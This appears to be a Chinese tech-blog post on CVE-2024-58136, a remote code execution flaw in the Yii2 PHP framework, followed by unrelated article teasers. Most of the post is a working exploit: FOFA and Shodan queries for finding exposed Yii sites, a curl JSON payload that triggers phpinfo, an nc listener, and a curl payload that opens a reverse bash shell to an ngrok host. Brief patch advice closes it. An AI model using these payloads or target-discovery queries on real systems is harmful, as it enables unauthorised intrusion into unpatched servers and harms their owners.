当前位置:首页 > 技术知识 > 正文内容

CVE-2024-58136漏洞, 一条CURL命令实现Yii2 PHP 框架 RCE

maynowei9个月前 (08-18)技术知识139

CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当,允许攻击者使用受控参数实例化任意 PHP 类,从而导致 RCE。

本文演示了如何在实际应用程序中发现此漏洞,如何获取 Recevese Shell 和缓解措施。

CVE-2024-58136 的根本原因

参考:
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis


CVE-2024-58136 — RCE PoC利用

发现目标

1. FOFA 查询

title= “yii” || title = “X-Powered-By: Yii”

2. Shodan查询

在 Shodan 中使用它:

http.headers:“X-Powered-By: Yii”

3.PoC漏洞

步骤 1:phpinfo() 测试确认 RCE

curl -k -X POST https://target/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'

检查响应是否包含phpinfo()PHP Version等,探测是否有此漏洞。

步骤2:反向Shell载荷

设置和监听器

nc  -lvnp  9999

CVE-2024-58136 — RCE PoC

curl -k -X POST https://sub.domain.tld/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'


补丁

  • 将 Yii2 升级到2.0.52或更高版本
  • 添加服务器端 WAF 来阻止行为键__classas例如on
  • 避免接受来自不受信任的客户端的原始 JSON。

相关文章

微软宣布SQL Server 2016,2005版将结束支持

IT之家讯 在芝加哥Ignite大会上,微软宣布了SQL Server 2016,并将于今年夏季发布公开预览版。SQL Server是由微软开发的关系型数据库管理系统,用于软件应用请求数据的存储和管理...

那些技术—Listview的性能提高篇(listview提高效率)

ListView优化一直是一个老生常谈的问题,不管是面试还是平常的开发中,ListView永远不会被忽略掉,那么这篇文章我们来看看如何最大化的优化ListView的性能。 · 1.在adapter中的...

一文弄懂 GO 的 互斥锁 Mutex !(互斥锁的使用方法)

在 Go 语言并发编程中,互斥锁(Mutex)是一个非常重要的同步原语。本文将深入介绍 Mutex 的使用方法、实现原理以及最佳实践。1. 什么是 Mutex?Mutex(互斥锁)是一种用于多线程编程...

Linux系统编程—互斥量mutex(linux 互斥量)

##互斥量mutex前文提到,系统中如果存在资源共享,线程间存在竞争,并且没有合理的同步机制的话,会出现数据混乱的现象。为了实现同步机制,Linux中提供了多种方式,其中一种方式为互斥锁mutex(也...

从 async/await 到虚拟线程:Python 并发的再思考

演进之路:从async/await到线程的反思首先必须明确的是,async/await对Python并非全无裨益:它最大的价值,是让更多人接触到了并发编程。通过在编程语言中嵌入语法元素,并发编程的门槛...

大量类加载器创建导致诡异FullGC(类的加载器有什么用)

“ 由 GC 问题带你全面了解 JDK8 Metaspace”01—现象最近接手了一个同事的项目,某一天接口的响应耗时突然增加了很多,由几十ms 增加到了几十秒。首先查看机器上的日志,有调用第三方接口...